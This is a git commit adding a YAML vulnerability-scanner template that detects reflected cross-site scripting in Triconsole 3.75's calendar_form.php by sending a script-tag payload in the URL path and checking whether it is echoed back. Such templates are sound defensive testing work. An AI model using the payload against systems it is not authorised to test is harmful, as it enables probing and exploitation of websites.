Create triconsole-xss.yaml

2021-03-01 10:44:33 +00:00 · 2021-03-01 10:44:33 +00:00 · 58e03566e6
parent 0f2cc12687
commit 58e03566e6
1 changed files with 25 additions and 0 deletions
--- a/vulnerabilities/other/triconsole-xss.yaml
+++ b/vulnerabilities/other/triconsole-xss.yaml
@ -0,0 +1,25 @@
+id: triconsole-xss
+
+info:
+  name: Triconsole 3.75 XSS
+  author: pikpikcu
+  severity: medium
+  reference: https://cxsecurity.com/issue/WLB-2021020168
+  tags: triconsole,lfi
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/calendar_form.php/"><script>alert(document.domain)</script>'
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "<script>alert(document.domain)</script>"
+        part: body
+        condition: and
+
+      - type: status
+        status:
+          - 200